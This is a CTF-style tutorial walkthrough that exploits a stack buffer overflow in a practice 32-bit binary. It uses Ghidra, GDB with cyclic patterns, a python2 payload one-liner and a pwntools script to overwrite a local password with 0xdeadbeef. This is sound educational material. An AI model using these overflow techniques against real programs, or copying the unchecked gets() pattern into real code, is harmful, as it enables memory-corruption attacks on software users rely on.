Moving on to the third level. This is where things start to get fun! Looking in the directory, wee see exploit.py overwrite overwrite.c
. As always, lets run overwrite to see what it does:
$ chmod +x overwrite
$ ./overwrite
yes? yes
12345678
...
Ok, so this is not helpful. It looks like just some random prompt. Lets try to overflow it:
$ ./overwrite
yes? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
61616161
...
This gives us a little more info. It looks like we overflowed it since 0x61 is the hex ascii value for 'a'. Lets do our normal file checks:
$ file overwrite
overwrite: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=094cbdd4694e5f4aeb958401302aadc77be2c5f0, for GNU/Linux 3.2.0, not stripped
$ checksec --file=overwrite
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 70 Symbols No 0 2 overwrite
This looks normal. We also note this is a 32-bit binary. Time for ghidra
. We see two functions now! main
and do_input
. We see that main looks like this
/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
undefined4 main(void)
{
do_input();
return 0;
}
and simply just calls do_input()
which presumably handles our input. Lets check out that function
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void do_input(void)
{
char inputBuffer [32];
int password;
password = 0x12345678;
printf("yes? ");
fflush(stdout);
gets(inputBuffer);
if (password == L'\xdeadbeef') {
puts("good job!!");
printf("%04x\n",password);
fflush(stdout);
}
else {
printf("%04x\n",password);
puts("...");
fflush(stdout);
}
return;
}
This is an interesting function. It sets up a buffer, makes a password of 0x12345678
and then checks if the password has magically changed to 0xdeadbeef
. If it somehow has, then we get a "good job" printed, if not nothing fun happens. We see that our input buffer is 32 bytes and that the dangerous gets()
function is used. Since this is a local variable and in 32-bit, we know that the value for this is stored directly on the stack. This means that we could potentially overflow the inputBuffer
and overwrite the value of password
. First, we need to know a bunch of things.
We need to find out where the buffer space ends, and where the "overflowing" begins. This is not simply 32 bytes. There is other data pushed onto the stack so we need to manually (for now) calculate it. First we will run the following
$ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
This generates a 100 byte cyclic pattern string that we use as input. This way, when we see parts of it in the stack and registers, we'll know exactly how many bytes that is. Lets run gdb and figure that out. Set a breakpoint at the cmp
statement with 0xdeadbeef
.
$ gdb overwrite
gef➤ disas do_input
Dump of assembler code for function do_input:
0x08049192 <+0>: push ebp
0x08049193 <+1>: mov ebp,esp
0x08049195 <+3>: push ebx
0x08049196 <+4>: sub esp,0x34
0x08049199 <+7>: call 0x80490d0 <__x86.get_pc_thunk.bx>
0x0804919e <+12>: add ebx,0x2e62
0x080491a4 <+18>: mov DWORD PTR [ebp-0xc],0x12345678
0x080491ab <+25>: sub esp,0xc
0x080491ae <+28>: lea eax,[ebx-0x1ff8]
0x080491b4 <+34>: push eax
0x080491b5 <+35>: call 0x8049030 <printf@plt>
0x080491ba <+40>: add esp,0x10
0x080491bd <+43>: mov eax,DWORD PTR [ebx-0x4]
0x080491c3 <+49>: mov eax,DWORD PTR [eax]
0x080491c5 <+51>: sub esp,0xc
0x080491c8 <+54>: push eax
0x080491c9 <+55>: call 0x8049040 <fflush@plt>
0x080491ce <+60>: add esp,0x10
0x080491d1 <+63>: sub esp,0xc
0x080491d4 <+66>: lea eax,[ebp-0x2c]
0x080491d7 <+69>: push eax
0x080491d8 <+70>: call 0x8049050 <gets@plt>
0x080491dd <+75>: add esp,0x10
0x080491e0 <+78>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x080491e7 <+85>: jne 0x8049226 <do_input+148>
0x080491e9 <+87>: sub esp,0xc
0x080491ec <+90>: lea eax,[ebx-0x1ff2]
0x080491f2 <+96>: push eax
0x080491f3 <+97>: call 0x8049060 <puts@plt>
0x080491f8 <+102>: add esp,0x10
0x080491fb <+105>: sub esp,0x8
0x080491fe <+108>: push DWORD PTR [ebp-0xc]
0x08049201 <+111>: lea eax,[ebx-0x1fe7]
0x08049207 <+117>: push eax
0x08049208 <+118>: call 0x8049030 <printf@plt>
0x0804920d <+123>: add esp,0x10
0x08049210 <+126>: mov eax,DWORD PTR [ebx-0x4]
0x08049216 <+132>: mov eax,DWORD PTR [eax]
0x08049218 <+134>: sub esp,0xc
0x0804921b <+137>: push eax
0x0804921c <+138>: call 0x8049040 <fflush@plt>
0x08049221 <+143>: add esp,0x10
0x08049224 <+146>: jmp 0x8049261 <do_input+207>
0x08049226 <+148>: sub esp,0x8
0x08049229 <+151>: push DWORD PTR [ebp-0xc]
0x0804922c <+154>: lea eax,[ebx-0x1fe7]
0x08049232 <+160>: push eax
0x08049233 <+161>: call 0x8049030 <printf@plt>
0x08049238 <+166>: add esp,0x10
0x0804923b <+169>: sub esp,0xc
0x0804923e <+172>: lea eax,[ebx-0x1fe1]
0x08049244 <+178>: push eax
0x08049245 <+179>: call 0x8049060 <puts@plt>
0x0804924a <+184>: add esp,0x10
0x0804924d <+187>: mov eax,DWORD PTR [ebx-0x4]
0x08049253 <+193>: mov eax,DWORD PTR [eax]
0x08049255 <+195>: sub esp,0xc
0x08049258 <+198>: push eax
0x08049259 <+199>: call 0x8049040 <fflush@plt>
0x0804925e <+204>: add esp,0x10
0x08049261 <+207>: nop
0x08049262 <+208>: mov ebx,DWORD PTR [ebp-0x4]
0x08049265 <+211>: leave
0x08049266 <+212>: ret
End of assembler dump.
gef➤ b *0x080491e0
Breakpoint 1 at 0x80491e0
gef➤
With this set we can then run the program and pass in our cyclic string when it prompts us
gef➤ r
Starting program: /home/vagrant/Desktop/practice/CTF/pwn/binary_exploitation_101/02-overwriting_stack_variables_part2/overwrite
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
yes? aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Breakpoint 1, 0x080491e0 in do_input ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcf2c → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx : 0x804c000 → 0x804bf10 → <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx : 0xf7e1e9c4 → 0x00000000
$edx : 0x1
$esp : 0xffffcf20 → 0xf7fc7550 → <__kernel_vsyscall+0> push ecx
$ebp : 0xffffcf58 → "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
$esi : 0x8049290 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x80491e0 → <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550 → <__kernel_vsyscall+0> push ecx ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f → "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
0xffffcf30│+0x0010: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaana[...]"
0xffffcf34│+0x0014: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoa[...]"
0xffffcf38│+0x0018: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapa[...]"
0xffffcf3c│+0x001c: "eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80491d7 <do_input+69> push eax
0x80491d8 <do_input+70> call 0x8049050 <gets@plt>
0x80491dd <do_input+75> add esp, 0x10
→ 0x80491e0 <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
0x80491e7 <do_input+85> jne 0x8049226 <do_input+148>
0x80491e9 <do_input+87> sub esp, 0xc
0x80491ec <do_input+90> lea eax, [ebx-0x1ff2]
0x80491f2 <do_input+96> push eax
0x80491f3 <do_input+97> call 0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcf2c → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx : 0x804c000 → 0x804bf10 → <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx : 0xf7e1e9c4 → 0x00000000
$edx : 0x1
$esp : 0xffffcf20 → 0xf7fc7550 → <__kernel_vsyscall+0> push ecx
$ebp : 0xffffcf58 → "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
$esi : 0x8049290 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x80491e0 → <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550 → <__kernel_vsyscall+0> push ecx ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f → "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
0xffffcf30│+0x0010: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaana[...]"
0xffffcf34│+0x0014: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoa[...]"
0xffffcf38│+0x0018: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapa[...]"
0xffffcf3c│+0x001c: "eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80491d7 <do_input+69> push eax
0x80491d8 <do_input+70> call 0x8049050 <gets@plt>
0x80491dd <do_input+75> add esp, 0x10
→ 0x80491e0 <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
0x80491e7 <do_input+85> jne 0x8049226 <do_input+148>
0x80491e9 <do_input+87> sub esp, 0xc
0x80491ec <do_input+90> lea eax, [ebx-0x1ff2]
0x80491f2 <do_input+96> push eax
0x80491f3 <do_input+97> call 0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
I know that looks like a lot. But only focus on where the arrow is just a couple of lines above this. That is telling us what instruction we are currently on. We see that it is comparing ebp - 0xc
with 0xdeadbeef
. This means, we need out input to overwrite whatever is at ebp - 0xc
. We can look at it by doing
gef➤ x $ebp - 0xc
0xffffcf4c: 0x61616169
gef➤
Lets 'unhex' that and see what it is:
$ pwn unhex 61616169
aaai
REMEMBER!!! This is in little endian so the real string is iaaa
. That tells us the position in our input string that is stored in that memory. To get the bytes run
$ pwn cyclic -l iaaa
32
This tells us that we need to overflow the buffer by 32 bytes and then enter our payload of 0xdeadbeef
. Lets try just to make sure we have the proper data. We will run gdb with 32 a's and then four B's. If we are correct, then our four B's will end up in $ebp - 0xc
. Follow the same steps above for setting a breakpoint and then when prompted with the input enter:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB
gef➤ disas do_input
Dump of assembler code for function do_input:
0x08049192 <+0>: push ebp
0x08049193 <+1>: mov ebp,esp
0x08049195 <+3>: push ebx
0x08049196 <+4>: sub esp,0x34
0x08049199 <+7>: call 0x80490d0 <__x86.get_pc_thunk.bx>
0x0804919e <+12>: add ebx,0x2e62
0x080491a4 <+18>: mov DWORD PTR [ebp-0xc],0x12345678
0x080491ab <+25>: sub esp,0xc
0x080491ae <+28>: lea eax,[ebx-0x1ff8]
0x080491b4 <+34>: push eax
0x080491b5 <+35>: call 0x8049030 <printf@plt>
0x080491ba <+40>: add esp,0x10
0x080491bd <+43>: mov eax,DWORD PTR [ebx-0x4]
0x080491c3 <+49>: mov eax,DWORD PTR [eax]
0x080491c5 <+51>: sub esp,0xc
0x080491c8 <+54>: push eax
0x080491c9 <+55>: call 0x8049040 <fflush@plt>
0x080491ce <+60>: add esp,0x10
0x080491d1 <+63>: sub esp,0xc
0x080491d4 <+66>: lea eax,[ebp-0x2c]
0x080491d7 <+69>: push eax
0x080491d8 <+70>: call 0x8049050 <gets@plt>
0x080491dd <+75>: add esp,0x10
0x080491e0 <+78>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x080491e7 <+85>: jne 0x8049226 <do_input+148>
0x080491e9 <+87>: sub esp,0xc
0x080491ec <+90>: lea eax,[ebx-0x1ff2]
0x080491f2 <+96>: push eax
0x080491f3 <+97>: call 0x8049060 <puts@plt>
0x080491f8 <+102>: add esp,0x10
0x080491fb <+105>: sub esp,0x8
0x080491fe <+108>: push DWORD PTR [ebp-0xc]
0x08049201 <+111>: lea eax,[ebx-0x1fe7]
0x08049207 <+117>: push eax
0x08049208 <+118>: call 0x8049030 <printf@plt>
0x0804920d <+123>: add esp,0x10
0x08049210 <+126>: mov eax,DWORD PTR [ebx-0x4]
0x08049216 <+132>: mov eax,DWORD PTR [eax]
0x08049218 <+134>: sub esp,0xc
0x0804921b <+137>: push eax
0x0804921c <+138>: call 0x8049040 <fflush@plt>
0x08049221 <+143>: add esp,0x10
0x08049224 <+146>: jmp 0x8049261 <do_input+207>
0x08049226 <+148>: sub esp,0x8
0x08049229 <+151>: push DWORD PTR [ebp-0xc]
0x0804922c <+154>: lea eax,[ebx-0x1fe7]
0x08049232 <+160>: push eax
0x08049233 <+161>: call 0x8049030 <printf@plt>
0x08049238 <+166>: add esp,0x10
0x0804923b <+169>: sub esp,0xc
0x0804923e <+172>: lea eax,[ebx-0x1fe1]
0x08049244 <+178>: push eax
0x08049245 <+179>: call 0x8049060 <puts@plt>
0x0804924a <+184>: add esp,0x10
0x0804924d <+187>: mov eax,DWORD PTR [ebx-0x4]
0x08049253 <+193>: mov eax,DWORD PTR [eax]
0x08049255 <+195>: sub esp,0xc
0x08049258 <+198>: push eax
0x08049259 <+199>: call 0x8049040 <fflush@plt>
0x0804925e <+204>: add esp,0x10
0x08049261 <+207>: nop
0x08049262 <+208>: mov ebx,DWORD PTR [ebp-0x4]
0x08049265 <+211>: leave
0x08049266 <+212>: ret
End of assembler dump.
gef➤ b *0x080491e0
Breakpoint 1 at 0x80491e0
gef➤ r
Starting program: /home/vagrant/Desktop/practice/CTF/pwn/binary_exploitation_101/02-overwriting_stack_variables_part2/overwrite
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
yes? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB
Breakpoint 1, 0x080491e0 in do_input ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcf2c → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
$ebx : 0x804c000 → 0x804bf10 → <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx : 0xf7e1e9c4 → 0x00000000
$edx : 0x1
$esp : 0xffffcf20 → 0xf7fc7550 → <__kernel_vsyscall+0> push ecx
$ebp : 0xffffcf58 → 0xffffcf68 → 0x00000000
$esi : 0x8049290 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x80491e0 → <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550 → <__kernel_vsyscall+0> push ecx ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f → "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf30│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf34│+0x0014: "aaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf38│+0x0018: "aaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf3c│+0x001c: "aaaaaaaaaaaaaaaaBBBB"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80491d7 <do_input+69> push eax
0x80491d8 <do_input+70> call 0x8049050 <gets@plt>
0x80491dd <do_input+75> add esp, 0x10
→ 0x80491e0 <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
0x80491e7 <do_input+85> jne 0x8049226 <do_input+148>
0x80491e9 <do_input+87> sub esp, 0xc
0x80491ec <do_input+90> lea eax, [ebx-0x1ff2]
0x80491f2 <do_input+96> push eax
0x80491f3 <do_input+97> call 0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
[#1] 0x804927c → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcf2c → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
$ebx : 0x804c000 → 0x804bf10 → <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx : 0xf7e1e9c4 → 0x00000000
$edx : 0x1
$esp : 0xffffcf20 → 0xf7fc7550 → <__kernel_vsyscall+0> push ecx
$ebp : 0xffffcf58 → 0xffffcf68 → 0x00000000
$esi : 0x8049290 → <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x80491e0 → <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550 → <__kernel_vsyscall+0> push ecx ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f → "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf30│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf34│+0x0014: "aaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf38│+0x0018: "aaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf3c│+0x001c: "aaaaaaaaaaaaaaaaBBBB"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80491d7 <do_input+69> push eax
0x80491d8 <do_input+70> call 0x8049050 <gets@plt>
0x80491dd <do_input+75> add esp, 0x10
→ 0x80491e0 <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
0x80491e7 <do_input+85> jne 0x8049226 <do_input+148>
0x80491e9 <do_input+87> sub esp, 0xc
0x80491ec <do_input+90> lea eax, [ebx-0x1ff2]
0x80491f2 <do_input+96> push eax
0x80491f3 <do_input+97> call 0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
[#1] 0x804927c → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x $ebp - 0xc
0xffffcf4c: 0x42424242
gef➤ exit
┌──(vagrant㉿kali)-[~/…/CTF/pwn/binary_exploitation_101/02-overwriting_stack_variables_part2]
└─$ pwn unhex 42424242
BBBB
YES! We were correct. The last thing to do is construct our payload with the correct data instead of BBBB. We can write a command line python script to do this for us:
$ python2 -c 'print "a" * 32 + "0xdeadbeef"'
However, this is incorrect. Since the file is in little endian, we need to reverse the bytes of 0xdeadbeef
. The correct command is
$ python2 -c 'print "a" * 32 + "\xef\xbe\xad\xde"'
This will format the bytes correctly. If we run this, we get the following output
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ�
This is python trying to represent bytes as ascii characters. Unfortunately, we cant just copy and paste this as it wont work. We need to write this into a file and then pass the file to the program
$ python2 -c 'print "a" * 32 + "\xef\xbe\xad\xde"' > myPayload
$ ./overwrite < myPayload
yes? good job!!
deadbeef
YES! We did it! We were able to overflow the buffer and change the password that was being stored and read from the stack! If you wish, you can step through this in gdb to see how it works. Set up a breakpoint and everything like usual but instead of just running r
, run it with r < myPayload
.
We can also write an exploit script that will do this for us
# Start program
io = process('./overwrite')
# Send string to overflow buffer
io.sendlineafter(b'?', b'A' * 32 + p32(0xdeadbeef))
# Receive output
print(io.recvall().decode())
This is a simple script. Its starts the program, then waits for the '?' character, and then enters our payload of 32 a's and our password string. It then prints and decodes the output. The b's in the script are to turn the characters into bytes. Since this is a binary file, the characters we pass and that it returns are all bytes, so we need to match that.